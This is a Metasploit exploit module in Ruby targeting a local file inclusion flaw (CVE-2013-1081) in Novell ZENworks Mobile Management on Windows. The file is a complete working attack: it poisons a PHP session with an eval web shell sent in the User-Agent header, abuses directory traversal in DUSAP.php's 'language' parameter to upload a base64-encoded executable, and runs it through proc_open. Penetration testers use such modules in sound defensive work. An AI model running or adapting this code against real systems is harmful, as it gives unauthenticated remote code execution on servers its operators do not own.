##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize
    super(
      'Name'           => 'Novell Zenworks Mobile Managment MDM.php Local File Inclusion Vulnerability',
      'Description'    => %q{
        This module exercises a vulnerability in Novel Zenworks Mobile Management's Mobile Device Management component
        which can allow unauthenticated remote code execution. Due to a flaw in the MDM.php script's input validation,
        remote attackers can both upload and execute code via a directory traversal flaw exposed in the 'language'
        parameter of a POST call to DUSAP.php.
      },
      'Author'         =>
        [
          'steponequit', # Metasploit module
          'Andrea Micalizzi (aka rgod)' #zdi report
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Novell Zenworks Mobile Device Management on Windows', {} ],
        ],
      'DefaultTarget'  => 0,
      'References'     =>
        [
          ['CVE', '2013-1081'],
          ['OSVDB', '91119'],
          ['ZDI', '13-087'],
          ['URL', 'http://www.novell.com/support/kb/doc.php?id=7011895']
        ],
      'DisclosureDate' => "Mar 13 2013",
      'License'        => MSF_LICENSE
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Path to the Novell Zenworks MDM install', '/']),
      OptInt.new('RPORT', [true, "Default remote port", 80])
    ], self.class)

    register_advanced_options([
      OptBool.new('SSL', [true, "Negotiate SSL connection", false])
    ], self.class)
  end

  def get_version
    version = nil

    res = send_request_raw({
      'method' => 'GET',
      'uri' => target_uri.path
    })

    if (res and res.code == 200 and res.body.to_s.match(/ZENworks Mobile Management User Self-Administration Portal/) != nil)
      version = res.body.to_s.match(/<p id="version">Version (.*)<\/p>/)[1]
    end

    return version
  end

  def check
    v = get_version
    print_status("Detected version: #{v || 'Unknown'}")

    if v.nil?
      return Exploit::CheckCode::Unknown
    elsif v =~ /^2\.6\.[01]/ or v =~ /^2\.7\.0/
      # Conditions based on OSVDB info
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def setup_session()
    sess = Rex::Text.rand_text_alpha(8)
    cmd = Rex::Text.rand_text_alpha(8)
    res = send_request_cgi({
      'agent' => "<?php echo(eval($_GET['#{cmd}'])); ?>",
      'method' => "HEAD",
      'uri' => normalize_uri("#{target_uri.path}/download.php"),
      'headers' => {"Cookie" => "PHPSESSID=#{sess}"},
    })
    return sess,cmd
  end

  def upload_shell(session_id,cmd_var)
    fname   = Rex::Text.rand_text_alpha(8)
    payload = generate_payload_exe
    cmd     = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';"
    cmd    << "file_put_contents($wdir.'#{fname}.exe',"
    cmd    << "base64_decode(file_get_contents('php://input')));"

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "DUSAP.php"),
      'data'     => Rex::Text.encode_base64(payload),
      'vars_get' => {
        'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
        cmd_var    => cmd
      }
    })
    return fname
  end

  def exec_shell(session_id,cmd_var,fname)
    cmd  = "$wdir=getcwd().'\\\\..\\\\..\\\\php\\\\temp\\\\';"
    cmd << "$cmd=$wdir.'#{fname}';"
    cmd << "$output=array();"
    cmd << "$handle=proc_open($cmd,array(1=>array('pipe','w')),"
    cmd << "$pipes,null,null,array('bypass_shell'=>true));"
    cmd << "if (is_resource($handle)){fclose($pipes[1]);proc_close($handle);}"

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "DUSAP.php"),
      'data'     => Rex::Text.encode_base64(payload),
      'vars_get' => {
        'language' => "res/languages/../../../../php/temp/sess_#{session_id}",
        cmd_var    => cmd
      }
    })
  end


  def exploit()
    begin
      print_status("Checking application version...")
      v = get_version
      if v.nil?
        print_error("Unable to detect version, abort!")
        return
      end

      print_good("Found Version #{v}")
      print_status("Setting up poisoned session")
      session_id,cmd = setup_session()
      print_status("Uploading payload")
      fname = upload_shell(session_id,cmd)
      print_status("Executing payload")
      exec_shell(session_id,cmd,fname)

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
    rescue ::Timeout::Error, ::Errno::EPIPE
    rescue ::OpenSSL::SSL::SSLError => e
      return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
    end
  end

end
